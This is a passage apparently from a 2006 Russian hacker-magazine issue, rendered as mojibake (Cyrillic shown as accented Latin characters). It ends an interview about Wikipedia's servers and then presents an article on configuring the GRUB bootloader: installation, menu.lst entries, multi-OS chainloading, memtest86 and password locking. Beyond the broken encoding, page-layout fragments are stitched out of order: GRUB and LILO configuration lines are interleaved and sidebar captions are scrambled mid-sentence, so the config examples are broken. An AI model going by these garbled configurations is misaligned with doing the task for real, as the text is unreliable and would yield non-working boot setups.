äëÿ äîêóïêè íåîáõîäèìîãî æåëåçà. Ïîòðåáíîñòü â íîâûõ ñåðâåðàõ âîçíèêàåò, êîãäà óâåëè÷èâàåòñÿ òðàôèê, íî âîçðîñøèé òðàôèê çíà÷èò, ÷òî ê íàì ñòàëî ïðèõîäèòü åùå áîëüøå ëþäåé, êîòîðûå ìîãóò ïîæåðòâîâàòü äåíüãè íà íîâûå ñåðâåðû. Äëÿ íàñ áîëåå àêòóàëüíà äðóãàÿ ïðîáëåìà: êàê ñîáðàòü äîïîëíèòåëüíûå ñðåäñòâà íà ïîääåðæêó íàøèõ áëàãîòâîðèòåëüíûõ ïðîåêòîâ â ðàçâèâàþùèõñÿ ñòðàíàõ. Ì: Òàê êàê ÿ ïðåäñòàâëÿþ æóðíàë «Õàêåð», òî ïðîñòî íå ìîãó íå ñïðîñèòü, âçëàìûâàëè ëè êîãäà-íèáóäü ñàéò Âèêèïåäèè? Åñëè íåò, òî ñóùåñòâóåò ëè âîçìîæíîñòü, ÷òî õàêåð ñìîæåò ïðîíèêíóòü íà ñåðâåð è ñòåðåòü áàçó Âèêèïåäèè è âñå åå áýêàïû? ÄÓ: Íà ïåðâûé âîïðîñ îòâåò — «íåò». Ïî ïîâîäó âòîðîãî âîïðîñà… Âñÿ èíôîðìàöèÿ, ñîäåðæàùàÿñÿ â Âèêèïåäèè, ïîäïàäàåò ïîä èçâåñòíóþ âàì ëèöåíçèþ GFDL. Òî åñòü âåñü êîíòåíò àáñîëþòíî áåñïëàòåí è ìîæåò ñâîáîäíî ðàñïðîñòðàíÿòüñÿ ïî Ñåòè â ëþáîì âèäå. È åñëè õàêåð âçëîìàåò íàøè ñåðâåðû, è âñå áàçû Âèêèïåäèè áóäóò óíè÷òîæåíû, òî îí óäàëèò âñåãî ëèøü áàçû, à íå ñàìó èíôîðìàöèþ. Èíôîðìàöèÿ ïîâñþäó è óíè÷òîæèòü åå íåâîçìîæíî. BINARY YOUR’S z

103


UNIXOID UNIXOID ///// ISSUE

TEXT ÅÂÃÅÍÈÉ ÇÎÁÍÈÍ AKA J1M / J1M@LIST.RU /

ËÈËÎÂÀß ÃÐÓÁÎÑÒÜ ÄÅÒÀËÜÍÎÅ ÎÏÈÑÀÍÈÅ ÏÎÏÓËßÐÍÛÕ ÌÅÍÅÄÆÅÐΠÇÀÃÐÓÇÊÈ

ÏÅÐÑÎÍÀËÜÍÛÅ ÊÎÌÏÜÞÒÅÐÛ ÓÆÅ ÄÀÂÍÎ ÏÅÐÅÑÒÀËÈ ÁÛÒÜ ÍÎÑÈÒÅËßÌÈ ÎÄÍÎÉ ÎÏÅÐÀÖÈÎÍÍÎÉ ÑÈÑÒÅÌÛ. ÒÅÏÅÐÜ ÍÀ ÑÂÎÈ ÌÀØÈÍÛ ÌÛ ÓÑÒÀÍÀÂËÈÂÀÅÌ ÍÅÑÊÎËÜÊÎ ÑÎÂÅÐØÅÍÍÎ ÎÒËÈ×ÍÛÕ ÄÐÓà ÎÒ ÄÐÓÃÀ ÎÑ. ÏÎÝÒÎÌÓ ÍÓÆÅÍ ÌÎÙÍÛÉ ÈÍÑÒÐÓÌÅÍÒ, ÑÏÎÑÎÁÍÛÉ ÇÀÃÐÓÇÈÒÜ ×ÒÎ ÓÃÎÄÍÎ, ÊÎÃÄÀ ÓÃÎÄÍÎ È ÊÀÊÈÌ ÓÃÎÄÍÎ ÎÁÐÀÇÎÌ. ÒÀÊÈÌ ÈÍÑÒÐÓÌÅÍÒÎÌ ÌÎÆÅÒ ÑÒÀÒÜ GNU GRUB, ÏÐÅÈÌÓÙÅÑÒÂÀ ÊÎÒÎÐÎÃÎ ÌÛ ÏÎÑÒÀÐÀËÈÑÜ ÐÀÑÊÐÛÒÜ Â ÝÒÎÉ ÑÒÀÒÜÅ

ÌÀËÜ×ÈÊ ÈËÈ ÄÅÂÎ×ÊÀ? GRUB — îäíà èç íåìíîãèõ àááðåâèàòóð â ìèðå GNU, áóêâà G êîòîðîé íå îçíà÷àåò òîò ñàìûé GNU. Ðàñøèôðîâûâàåòñÿ ñëåäóþùèì îáðàçîì: GRand Unified Bootloader. Åñëè ãîâîðèòü î ôóíêöèîíàëüíîé íà÷èíêå, òî GRUB, ñêîðåå âñåãî, îòíîñèòñÿ ê îïåðàöèîííûì ñèñòåìàì, íåæåëè ê çàãðóç÷èêàì.  ïîäòâåðæäåíèå ýòîìó âûñêàçûâàíèþ ïðèâåäó ñîêðàùåííûé ïåðå÷åíü òîãî, ÷òî ìîæåò ýòîò ìåíåäæåð çàãðóçêè:

1 Ïîääåðæêà ðàçëè÷íûõ ôîðìàòîâ èñïîëíÿåìûõ ôàéëîâ (â òîì ÷èñëå ELF).

2 Ìåõàíèçì ïðîçðà÷íîé äåêîìïðåññèè gzip-àðõèâîâ.

3 Óäîáíîå ìåíþ. 4 Áîãàòûé íà âîçìîæíîñòè èíòåðôåéñ êîìàíäíîé ñòðîêè.

5 ×òåíèå ñî âñåõ ïîïóëÿðíûõ ôàéëîâûõ ñèñòåì. 6 Çàãðóçêà ÎÑ ñ óäàëåííîãî êîìïüþòåðà ïî TFTP-ïðîòîêîëó.

7 Ñïîñîáíîñòü çàãðóæàòüñÿ ïðÿìî ñ CD.  GRUB âïîëíå ïðèåìëåìîé áóäåò òàêàÿ êîìàíäà: «cat (hd0,5)/etc/fstab», ãäå (hd0,5) — ýòî êîðíåâîé ðàçäåë. Íà ýêðàíå ïîÿâèòñÿ ñîäåðæèìîå çàïðàøèâàåìîãî ôàéëà, à ïðè íàáîðå êîìàíäû âñå ïóòè (â òîì ÷èñëå íîìåð ðàçäåëà) áóäóò äîïîëíåíû ïî íàæàòèþ <TAB>. Íà ñàìîì äåëå ýòîò ïðèìåð ñëèøêîì ïðîñòîé äëÿ GRUB, âåäü âåñü çàãðóç÷èê, îò öâåòà ìåíþ è äî ñïèñêà îïåðàöèîííûõ ñèñòåì è ìåòîäîâ èõ çàãðóçêè, ìîæíî íàñòðîèòü íå âûõîäÿ èç íåãî ñàìîãî (ïðàâäà, íàñòðîéêè ñîõðàíèòü íå óäàñòñÿ, òàê êàê ôàéëîâàÿ ñèñ-

104

êîìàíäíûé èíòåðïðåòàòîð GRUB

òåìà äîñòóïíà òîëüêî íà ÷òåíèå). Òî åñòü ïðîãðàììà ÿâëÿåòñÿ ñàìîäîñòàòî÷íîé è ìîæåò ïî ïðàâó íîñèòü òèòóë Îïåðàöèîííîé Ñèñòåìû. ÎÒ ÑËÎÂ Ê ÄÅËÓ Èòàê, ìû óçíàëè, ÷òî GRUB — ýòî äåéñòâèòåëüíî Grand, è òåïåðü ïåðåõîäèì íåïîñðåäñòâåííî ê óñòàíîâêå. Çàáèðàåì èñõîäíèêè ñ îôèöèàëüíîãî ñàéòà ïðîåêòà GNU: www.gnu.org/software/grub/grub.en.html (èëè óñòàíàâëèâàåì rpm-, deb-, tgz-ïàêåò äëÿ ñâîåãî äèñòðèáóòèâà). Ïîñëå âûïîëíåíèÿ ïðèâû÷íûõ òåëîäâèæåíèé â âèäå «./configure && make && make install» ïîëó÷àåì áèíàðíèê «grub» â /usr/sbin (èëè /usr/local/sbin) è íåñêîëüêî ñòðàííûõ (ïîêà)

ôàéëîâ â /usr/share/grub/i386-pc. Åùå íàì ïîíàäîáèòñÿ íåáîëüøîé (~15 Ìá) ðàçäåë /boot, äëÿ êîòîðîãî ëó÷øå èñïîëüçîâàòü õîðîøî çàðåêîìåíäîâàâøóþ ñåáÿ ôàéëîâóþ ñèñòåìó ext2 (ïîäðîáíåå î ext2fs/ ext3fs ÷èòàé â ñëåäóþùåé ñòàòüå ýòîé ðóáðèêè). Çà ñ÷åò èñïîëüçîâàíèÿ ñïåöèàëüíîãî ðàçäåëà ìû èçáàâèìñÿ îò ïðîáëåì ñ íåêîòîðûìè ôàéëîâûìè ñèñòåìàìè (ðàíüøå áóòëîàäåð íå ìîã ãðóçèòüñÿ ñ reiserfs, åñëè áûëà âêëþ÷åíà îïöèÿ tail. Òåïåðü âñå â ïîðÿäêå, íî ÷åì ïèíãâèí íå øóòèò), ñäåëàåì ïðîöåññ ðàáîòû ñ ðàçäåëàìè è ÿäðàìè áîëåå óäîáíûì, óïðîñòèì ïðîöåññ âîññòàíîâëåíèÿ çàãðóç÷èêà è îáåñïå÷èì íîâóþ ÎÑ æèëüåì :).

XÀÊÅÐ 02 /86/ 06


ÒÅÏÅÐÜ ÏÐÎÖÅÑÑ ÒÅÑÒÈÐÎÂÀ ÍÈß

ÊÓÏËÅÍÍÎÉ ÏÀÌßÒÈ ÁÓÄÅÒ Ë ÅÃÊÈÌ È

ÏÐÈßÒÍÛÌ

Ïîñëå òîãî êàê ìû îáçàâåäåìñÿ ðàçäåëîì, äåëàåì áýêàï êàòàëîãà /boot, î÷èùàåì è ìîíòèðóåì ê íåìó íàø ðàçäåë (íå çàáûâ òàêæå ïðîïèñàòü â /etc/fstab íóæíûå ñòðîêè). Äàëåå âîññòàíàâëèâàåì ñîäåðæèìîå êàòàëîãà, ñîçäàåì íîâóþ ïîääèðåêòîðèþ grub è êîïèðóåì â íåå ñàì áèíàðíèê (/usr/sbin/grub) è ñîäåðæèìîå /usr/share/grub/i386-pc. Êàê ðåçóëüòàò, /boot äîëæåí ñîäåðæàòü âñå, ÷òî â íåì áûëî äî íà÷àëà îïåðàöèè, à òàêæå íîâûé êàòàëîã grub, íàïîëíåííûé âñåì, ÷òî òîëüêî ìîæåò ïîíàäîáèòüñÿ äëÿ óñòàíîâêè è ðàáîòû çàãðóç÷èêà. Àïëîäèñìåíòû, ïåðâûé ýòàï óñòàíîâêè çàêîí÷åí.

ôàéë ñ îáðàçîì âòîðîãî êîìïîíåíòà èç èìåþùèõñÿ (îíè âñå èìåþò îêîí÷àíèå «_stage1_5»), â íàøåì ñëó÷àå e2fs_stage1_5 äëÿ ext2. Ñóùåñòâóåò äâà ñïîñîáà óñòàíîâêè GRUB: a) ïðîñòîé è ïðàâèëüíûé è á) ñëîæíûé è íåïðàâèëüíûé (êàê áû ïàðàäîêñàëüíî ýòî íå çâó÷àëî). Ïîéäåì ïî ïðàâèëüíîìó ïóòè. Çàïóñêàåì /boot/grub/grub è â îòâåò íà ïðèãëàøåíèå ââîäèì äâå êîìàíäû:

ÏÐÈÐÓ×ÅÍÈÅ ÑÒÐÎÏÒÈÂÎÃÎ Ïåðåä òåì êàê ïåðåéòè ê óñòàíîâêå GRUB â MBR, íàì íóæíà õîòü êàêàÿ-òî íà÷àëüíàÿ êîíôèãóðàöèÿ.  êàòàëîãå /boot/grub ñîçäàåì ôàéë menu.lst ñ òàêèì ñîäåðæèìûì:

Êîìàíäà root çàäàåò ðàçäåë, íà êîòîðîì ðàñïîëîæåí íàø êàòàëîã

root (hd0,0) setup (hd0)

# vi /boot/grub/menu.lst title Linux root (hd0,0) kernel /vmlinuz root=/dev/hda2

 GRUB ðàçäåëû èìåíóþòñÿ îñîáûì îáðàçîì. Òàê, (hd0,0) — ýòî ïåðâûé ðàçäåë íà ïåðâîì äèñêå (hda1 â òåðìèíîëîãèè Linux), à (hd0) — âåñü äèñê (òî åñòü hda). Ïÿòûé ðàçäåë áóäåò îáîçíà÷àòüñÿ êàê (hd0,4), òðåòèé íà âòîðîì äèñêå (IDE-êàíàëå) — (hd2,2) è òàê äàëåå. Ïðèâåäåííîãî ïðèìåðà äîñòàòî÷íî äëÿ çàãðóçêè Linux. Ìû ñîçäàëè îäèí ýëåìåíò ìåíþ ïîä íàçâàíèåì Linux, ïðè âûáîðå êîòîðîãî GRUB äîëæåí áóäåò ïåðåéòè íà ðàçäåë (hd0,0) (çäåñü è äàëåå ïî òåêñòó (hd0,0) — ýòî óñëîâíîå îáîçíà÷åíèå äëÿ ðàçäåëà, ñîäåðæàùåãî /boot), à çàòåì çàãðóçèòü îáðàç ÿäðà èç ôàéëà /vmlinuz (òî åñòü /boot/vmlinuz, åñëè ñ÷èòàòü îò êîðíÿ) è ïåðåäàòü åìó ïàðàìåòð «root=/dev/hda2» (óêàæè ñâîé ðàçäåë, íà êîòîðîì ðàñïîëîæåí êîðåíü ôàéëîâîé ñèñòåìû Linux).

GRUB â ïðîöåññå óñòàíîâêè

grub (/boot/grub), à êîìàíäà setup óñòàíàâëèâàåò çàãðóç÷èê â MBR äèñêà hda. Âîò è âñå, GRUB äîñòàòî÷íî èíòåëëåêòóàëåí, ÷òîáû íàéòè îáðàçû âñåõ ýëåìåíòîâ çàãðóç÷èêà è íàø êîíôèã menu.lst. Ñëîæíûé ïóòü çàêëþ÷àåòñÿ â ñàìîñòîÿòåëüíîì ââîäå êîìàíäû, âûïîëíÿåìîé GRUB ïîñëå îêîí÷àíèÿ óñòàíîâêè (install /grub/stage1 (hd0) ...). Íåìíîãî ìîäèôèöèðîâàâ ýòó êîìàíäó, ìîæíî èçáàâèòüñÿ îò âòîðîãî êîìïîíåíòà çàãðóçêè (e2fs_stage1_5), ÷òîáû èçáåæàòü ïðîáëåì ñ ôàéëîâûìè ñèñòåìàìè è... îáðåñòè íîâûå èç-çà íåâîçìîæíîñòè ïåðåìåùàòü stage2 âíóòðè êàòàëîãà /boot/grub, òàê êàê âòîðîãî êîìïîíåíòà, ïîíèìàþùåãî ÔÑ, òåïåðü íå áóäåò, è íà÷àëüíîìó çàãðóç÷èêó, óêðûâøåìóñÿ â MBR, ïðèäåòñÿ ñàìîñòîÿòåëüíî êàëüêóëèðîâàòü ðàñïîëîæåíèå stage2 ïî ñìåùåíèþ îò íà÷àëà ðàçäåëà, êîòîðîå ïîñëå ïåðåìåùåíèÿ ôàéëà òîæå èçìåíèòñÿ.

â GRUB àâòîäîïîëíåíèå ðàáîòàåò äàæå äëÿ ðàçäåëîâ äèñêà

ÌÅÒÎÄÛ ÓÑÒÀÍÎÂÊÈ Âñå ïðåäâàðèòåëüíûå ýòàïû çàêîí÷åíû, íà÷èíàåì óñòàíîâêó GRUB â MBR. Íî ñíà÷àëà âñå æå íåìíîãî òåîðèè îá àðõèòåêòóðíîì óñòðîéñòâå çàãðóç÷èêà. GRUB, êàê è áîëüøèíñòâî äðóãèõ ìåíåäæåðîâ çàãðóçêè, ïðåäñòàâëÿåò ñîáîé «ìíîãîãîëîâóþ» ïðîãðàììó. Ïåðâàÿ åå ÷àñòü (ðàçìåðîì â 512 áàéò) óñòàíàâëèâàåòñÿ â MBR (çàãëÿíè â /boot/grub, åå îáðàç õðàíèòñÿ â ôàéëå stage1). Ïîëó÷èâ óïðàâëåíèå, îíà ïðîâîäèò ïðåäâàðèòåëüíóþ èíèöèàëèçàöèþ è ïåðåäàåò ýñòàôåòó âòîðîìó êîìïîíåíòó (â GRUB îí îáîçíà÷àåòñÿ êàê 1.5), ðàñïîëîæåííîìó â çàðàíåå îïðåäåëåííîì ìåñòå (îáû÷íî ýòî ñâîáîäíàÿ îáëàñòü ðÿäîì ñ MBR). Âñå, ÷òî äîëæåí ñäåëàòü ýòîò êîìïîíåíò, — çàãðóçèòü òðåòüþ è îñíîâíóþ ÷àñòü çàãðóç÷èêà — stage2. Îíà êàê ðàç è âûâåäåò íàøå ìåíþ) íåïîñðåäñòâåííî èç ôàéëîâîé ñèñòåìû. ×òîáû ïðîäåëàòü ýòî, âòîðîé êîìïîíåíò äîëæåí ïîíèìàòü ñòðóêòóðó ôàéëîâîé ñèñòåìû, íà êîòîðîé ðàñïîëîæåíà îñíîâíàÿ ÷àñòü. Ïîýòîìó GRUB âî âðåìÿ óñòàíîâêè îïðåäåëÿåò òèï ðàçäåëà è âûáèðàåò ïðàâèëüíûé

XÀÊÅÐ 02 /86/ 06

âîò òàê ìîæåò âûãëÿäåòü êàòàëîã /boot

ÊÓÐÑÛ ÓÃËÓÁËÅÍÍÎÃÎ ÈÇÓ×ÅÍÈ�� Ó íàñ óæå åñòü ñîâñåì êðîõîòíûé, íî ðàáî÷èé êîíôèã. Ñåé÷àñ ìû åãî ðàñøèðèì, äîáàâèâ âîçìîæíîñòü çàãðóçêè íåñêîëüêèõ ÎÑ. Ïðåäñòàâèì òàêóþ ñèòóàöèþ: íà äèñêå hda ñîçäàíû ðàçäåëû â ñëåäóþùåé ïîñëåäî-

105


UNIXOID ///// ISSUE

GRUB ÏÎÇÂÎËßÅÒ ÍÀÌ ÇÀÃÐÓÇÈ ÒÜ ËÞÁÓÞ ÎÏÅÐÀÖÈÎÍÍÓÞ Ñ ÈÑÒÅÌÓ, ÈÇÌÅÍßÒÜ ÏÀÐÀÌÅÒÐÛ ÇÀÃÐÓÇÊÈ ÈÇ ÑÀÌ ÎÃÎ ÇÀÃÐÓÇ×ÈÊÀ, ×ÈÒÀÒÜ ÏÐÎ ÈÇ ÂÎËÜÍÛÅ ÔÀÉËÛ Ñ ÌÍÎÆÅÑÒÂÀ ÔÀÉËÎÂÛÕ ÑÈÑ ÒÅÌ. âàòåëüíîñòè: /boot (hda1), êîðíåâîé ðàçäåë Linux (hda2), ðàçäåë FreeBSD (hda3) è ðàçäåë äëÿ Windows (hda4). Íà âñå ðàçäåëû, çà èñêëþ÷åíèåì ïåðâîãî, óñòàíîâëåíà ñîîòâåòñòâóþùàÿ ÎÑ. ×òîáû èìåòü âîçìîæíîñòü çàãðóçêè êàæäîé èç íèõ, íàì ïîíàäîáèòñÿ ïðèìåðíî òàêîé êîíôèã:

Íàïðèìåð, äâå âåðñèè Windows 9X íå ìîãóò áûòü çàãðóæåíû èç ñìåæíûõ ðàçäåëîâ, óïðàâëåíèå ïîëó÷èò òîëüêî ïåðâàÿ. Äëÿ óñòðàíåíèÿ ïðîáëåìû ìîæíî èñïîëüçîâàòü òàêóþ êîíñòðóêöèþ: Îáìàíûâàåì Windows 98

# vi /boot/menu.lst # ïåðâûé ðàçäåë (hda1) # æäàòü òðè ñåêóíäû è ãðóçèòü ÎÑ, íàçíà÷åííóþ ïî óìîë÷àíèþ

title «Windows #1»

timeout 3

root (hd0,0)

# ïî äåôîëòó çàãðóæàåì ïåðâûé ïóíêò ìåíþ (Linux)

makeactive chainloader +1

default 0 # åñëè ïåðâûé ïóíêò çàãðóçèòü íå óäàëîñü, òî çàãðóæàåì âòîðîé (FreeBSD ;)

# âòîðîé ðàçäåë (hda2)

fallback 1

title «Windows #2»

# êðàñèâîå çåëåíîå ìåíþ

# ïðÿ÷åì ïåðâûé ðàçäåë

color green/black

hide (hd0,0)

# äàëåå èäóò ýëåìåíòû ìåíþ

# ïîêàçûâàåì âòîðîé

title Linux

unhide (hd0,1) root (hd0,0)

root (hd0,1)

# çàãðóæàåì ÿäðî Linux

makeactive

kernel /vmlinuz root=/dev/hda2

chainloader +1

title FreeBSD root (hd0,1,a) # çàãðóæàåì ñòàíäàðòíûé çàãðóç÷èê BSD kernel /boot/loader title Windows root (hd0,2)

Windows ñ ïåðâîãî ðàçäåëà áóäåò ïîëó÷àòü óïðàâëåíèå «ïî îïðåäåëåíèþ», à âîò â îòíîøåíèè âòîðîãî ìû ñõèòðèëè, ñïðÿòàâ ïåðâûé ðàçäåë. Íåâîçìîæíîñòü çàãðóçèòüñÿ ñî âòîðîãî ôèçè÷åñêîãî äèñêà — ýòî åùå îäíà ïðîáëåìà, íî äî òåõ ïîð, ïîêà ìû íå âìåøàåìñÿ. Äâà äèñêà ìîæíî ïîïðîñòó ïîìåíÿòü ìåñòàìè (âèðòóàëüíî, êîíå÷íî :), èñïîëüçóÿ òàêèå êîìàíäû:

# äåëàåì àêòèâíûì âûáðàííûé ðàçäåë (ìåòêà BOOT) makeactive

map (hd0) (hd1)

# ïåðåäàåì óïðàâëåíèå ñëåäóþùåìó çàãðóç÷èêó

map (hd1) (hd0)

chainloader +1 # ïåðåçàãðóçêà title Reboot

 äîïîëíåíèå ê îïåðàöèîííûì ñèñòåìàì ìû ñîçäàëè åùå äâà ýëåìåíòà ìåíþ: Halt è Reboot. Äóìàþ, èõ ñìûñë ïîÿñíÿòü íå íàäî.

reboot # âûêëþ÷åíèå title Halt halt

Ïîñëå êàæäîãî ïîëÿ title èäóò ñòàíäàðòíûå êîìàíäû âñòðîåííîãî â GRUB øåëëà, èõ ìîæíî èñïîëüçîâàòü ïðÿìî â ñàìîì çàãðóç÷èêå. Êàê íàì óæå èçâåñòíî, êîìàíäà root ñîâåðøàåò ïåðåõîä íà âûáðàííûé ðàçäåë. À êîìàíäà kernel ïðèíèìàåò â êà÷åñòâå àðãóìåíòà ïóòü äî îáðàçà ÿäðà, ïðè ýòîì ÿäðî äîëæíî ïîääåðæèâàòü ñïåöèôèêàöèþ Multiboot (Linux è âñå BSD ñëåäóþò åé). Êàê ìîæíî âèäåòü, ìû íå çàãðóæàåì ÿäðî FreeBSD íàïðÿìóþ, ýòî áûëî áû èäåîëîãè÷åñêè è ïðàêòè÷åñêè íå âåðíî, âìåñòî ýòîãî ïåðåäàåì óïðàâëåíèå ñòàíäàðòíîìó çàãðóç÷èêó /boot/loader. Èìÿ ðàçäåëà äëÿ FreeBSD òîæå âûãëÿäèò ïîäðóãîìó, îíî âêëþ÷àåò â ñåáÿ è ïîäðàçäåë â âèäå áóêâû, êàê ïðèíÿòî â BSD-ñèñòåìàõ. À âîò ñ Windows óæå íà÷èíàþòñÿ êîñòûëè, Multiboot ýòà ÎÑ íå ïîääåðæèâàåò è òðåáóåò, ÷òîáû ðàçäåë, íà êîòîðîì îíà óñòàíîâëåíà, áûë àêòèâíûì. Ïîýòîìó ìû èäåì íàïðÿìóþ: ñíà÷àëà ñ ïîìîùüþ êîìàíäû makeactive äåëàåì òåêóùèé ðàçäåë àêòèâíûì, à çàòåì ïî öåïî÷êå ïåðåäàåì óïðàâëåíèå ñòàíäàðòíîìó çàãðóç÷èêó Windows, ðàñïîëîæåííîìó â BR, òî åñòü â ïåðâîì ñåêòîðå ðàçäåëà. Âîîáùå ãîâîðÿ, ñïåöèàëüíî äëÿ òàêèõ îïåðàöèîíîê, êàê òâîðåíèå Áèëëà Ãåéòñà, â GRUB ïðåäóñìîòðåíî ìíîæåñòâî îáõîäíûõ ïóòåé.

ÒÅÑÒÈÌ ÑÂÅÆÅÊÓÏËÅÍÍÓÞ ÏÀÌßÒÊÓ Íàâåðíÿêà ìíîãèì èçâåñòíî î ñóùåñòâîâàíèè âåëèêîëåïíîé ñàìîäîñòàòî÷íîé ïðîãðàììû äëÿ òåñòèðîâàíèÿ îïåðàòèâíîé ïàìÿòè ïîä íàçâàíèåì memtest86. Îíà íå òðåáóåò äëÿ ðàáîòû îïåðàöèîííîé ñèñòåìû è ðàññ÷èòàíà íà çàïóñê ñ çàãðóçî÷íîé äèñêåòû. Íî ìû ïîéäåì äàëüøå è áóäåì çàãðóæàòü åå ñ ïîìîùüþ GRUB. Ñêà÷èâàåì èñõîäíèêè ñ ñàé-

òàê áóäåò âûãëÿäåòü íàøå ìåíþ

È ÍÅÌÍÎÃÎ ÈÑÒÎÐÈ Ðàçðàáîòêà GRUB áûëà íà÷àòà åùå â 1995 ãîäó Ýðèêîì Áîëåéíîì (Erich Boleyn) äëÿ îïåðàöèîííîé ñèñòåìû GNU Hurd.  1999 ãîäó Gordon Matzigkeit è Yoshinori K. Okuji ñäåëàëè GRUB ÷àñòüþ ïðîåêòà GNU è âûëîæèëè èñõîäíèêè âî âñåîáùèé äîñòóï. Èìåííî Erich Boleyn âìåñòå ñ Brian Ford ðàçðàáîòàëè ñïåöèôèêàöèþ Multiboot, îáåñïå÷èâàþùóþ óíèâåðñàëüíûé ñïîñîá çàãðóçêè ÎÑ, êîòîðîãî ñåãîäíÿ ïðèäåðæèâàþòñÿ âñå ñåðüåçíûå îïåðàöèîííûå ñèñòåìû.

106

XÀÊÅÐ 02 /86/ 06


ÊÎÍÔÈÃÓÐÀÒÎÐ ÄËß GRUB

ñ èíòåðôåéñîì íà ncurses. Îí ñàì îïðåÈç Slackware áûë ïåðåíåñåí óäîáíûé êîíôèãóðàòîð äëÿ GRUB ïðàâèë üíûé êîíôèã. Ñòðàíè÷êà ïðîãðàìèðóåò ñãåíåð è äèñêå, ì æåñòêî íà äåëèò, êàêèå ÎÑ óñòàíîâëåíû tml. ndex.h linux/i ìû: www.tux.org/pub/people/kent-robotti/loop òà www.memtest86.com, ðàñïàêîâûâàåì è êîìïèëèðóåì (îäíà êîìàíäà — make). Äàëåå êîïèðóåì ôàéë memtest.bin â êàòàëîã /boot è ïèøåì â êîíôèãå GRUB:

# vi /etc/lilo.conf # ñ êàêîãî äèñêà áóäåò ïðîèçâîäèòüñÿ çàãðóçêà?

Íàñòðàèâàåì GRUB íà çàãðóçêó memtest86

boot=/dev/hda # âûâîäèòü ïðèãëàøåíèå

title Memtest86

prompt

root (hd0,0)

# æäàòü 3 ñåêóíäû ïåðåä çàãðóçêîé ïåðâîé ÎÑ â ñïèñêå

/memtest.bin

timeout=30 # ýëåìåíò ìåíþ «Linux»

Òåïåðü ïðîöåññ òåñòèðîâàíèÿ êóïëåííîé ïàìÿòè áóäåò ëåãêèì è ïðèÿòíûì.

image=/boot/vmlinuz label=Linux

ËÎÊÀËÜÍÀß ÇÀÙÈÒÀ Ñ ÏÎÌÎÙÜÞ GRUB Èòàê, GRUB ïîçâîëÿåò íàì çàãðóçèòü ëþáóþ îïåðàöèîííóþ ñèñòåìó, èçìåíÿòü ïàðàìåòðû çàãðóçêè èç ñàìîãî çàãðóç÷èêà, ÷èòàòü ïðîèçâîëüíûå ôàéëû ñ ìíîæåñòâà ôàéëîâûõ ñèñòåì. À åñëè âñå ýòî áîãàòñòâî äîñòàíåòñÿ òîìó, êòî âî âðåìÿ íàøåãî îòñóòñòâèÿ çàâëàäååò ÏÊ? Êàê çàùèòèòüñÿ? Äîâîëüíî ïðîñòî: ïîñòàâèòü ïàðîëü íà ïðàâî âûïîëíåíèÿ èíòåðàêòèâíûõ êîìàíä (ðåäàêòèðîâàíèå ìåíþ, âñòðîåííûé êîìàíäíûé èíòåðïðåòàòîð) è îñòàâèòü òîëüêî îäíó âîçìîæíîñòü — âûáîð îïåðàöèîííîé ñèñòåìû. Äëÿ íà÷àëà ïîëó÷èì md5-õýø íàøåãî ïàðîëÿ (îïàñíî ïðîïèñûâàòü ïàðîëü â êîíôèãå â îòêðûòîì âèäå). Çàïóñêàåì /boot/grub/grub è äàåì êîìàíäó «md5crypt», ïîñëå ýòîãî ââîäèì ïàðîëü è â ðåçóëüòàòå ïîëó÷àåì õýø. Äàëåå, ãäå-íèáóäü â íà÷àëå êîíôèãà, ïèøåì ñòðîêó: «password --md5 õýø_ïàðîëÿ». Òåïåðü ìû çàùèùåíû, íî ÷àñòè÷íî, òàê êàê íåêîòîðûå îïåðàöèîííûå ñèñòåìû íà íà÷àëüíîì ýòàïå íå ïðåäóñìàòðèâàþò êàêèå-ëèáî ñðåäñòâà çàùèòû. ×òîáû ïðåäîòâðàòèòü íåñàíêöèîíèðîâàííóþ çàãðóçêó, êîòîðàÿ ïîäîáíà ÎÑ, íóæíî ñðàçó ïîñëå ïîëÿ title óêàçàòü êîìàíäó lock. Äëÿ çàãðóçêè áóäåò òðåáîâàòüñÿ ïàðîëü. À ìîæåò áûòü, âñå «íåáåçîïàñíûå» ÎÑ âûíåñòè â îòäåëüíîå ìåíþ, äîñòóïíîå òîëüêî ÷åëîâåêó, çíàþùåìó ïàðîëü? Îòëè÷íàÿ èäåÿ, ñîçäàåì ôàéë /boot/grub/menu-admin.lst è ôîðìèðóåì â íåì íîâîå ìåíþ (åùå ìîæíî óêàçàòü îïöèþ color red/black, ÷òîáû àäìèíñêîå ìåíþ áûëî êðàñíûì). Âîçâðàùàåìñÿ â îñíîâíîé êîíôèã è ïèøåì «password — md5 õýø_ïàðîëÿ /grub/menu-admin.lst». Äëÿ àêòèâàöèè ñåêðåòíîãî ìåíþ íóæíî áóäåò íàæàòü «p» è ââåñòè ïàðîëü.

# êîðíåâîé ðàçäåë root=/dev/hda1 # ìîíòèðîâàòü êîðåíü òîëüêî íà ÷òåíèå read-only # îáðàç ram-äèñêà initrd=/boot/initrd # ãðàôè÷åñêàÿ êîíñîëü 1024x768x256 vga=305 # ïåðåäàòü ÿäðó ñëåäóþùèå ïàðàìåòðû append=’acpi=off’ # ýëåìåíò ìåíþ «FreeBSD» other=/dev/hda2 label=FreeBSD # ýëåìåíò ìåíþ «Windows» other=/dev/hda3 label=Windows

Ïîñëå âûïîëíåíèÿ âñåõ ìàíèïóëÿöèé è ñîõðàíåíèÿ êîíôèãà òðåáóåòñÿ âûïîëíèòü êîìàíäó: # lilo

À ÊÀÊ ÆÅ ÁÓÄÓÙÅÅ? Íåñìîòðÿ íà òî, ÷òî ðàçðàáîò÷èêè ïðîäåëàëè îãðîìíóþ ðàáîòó, ñîçäàâ ñàìûé ìîùíûé è ôóíêöèîíàëüíî áîãàòûé çàãðóç÷èê, îíè íå ñîáèðàþòñÿ îñòàíàâëèâàòüñÿ íà äîñòèãíóòîì. Óæå âåäåòñÿ àêòèâíàÿ ðàçðàáîòêà GRUB 2 — çàãðóç÷èêà íîâîãî ïîêîëåíèÿ è âîçìîæíîñòåé. Ïðè åãî ïðîåêòèðîâàíèè ïðîãðàììèñòû ñòàâÿò ïåðåä ñîáîé ñëåäóþùèå öåëè:

1 Ñäåëàòü ÿäðî çàãðóç÷èêà êàê ìîæíî áîëåå êîìïàêòíûì. 2 Äîáàâèòü âîçìîæíîñòü ðàñøèðåíèÿ çàãðóç÷èêà íà ëåòó. Äëÿ ýòîãî ïëàíèðóåòñÿ èñïîëüçîâàòü íåêîå ïîäîáèå áèáëèîòåê.

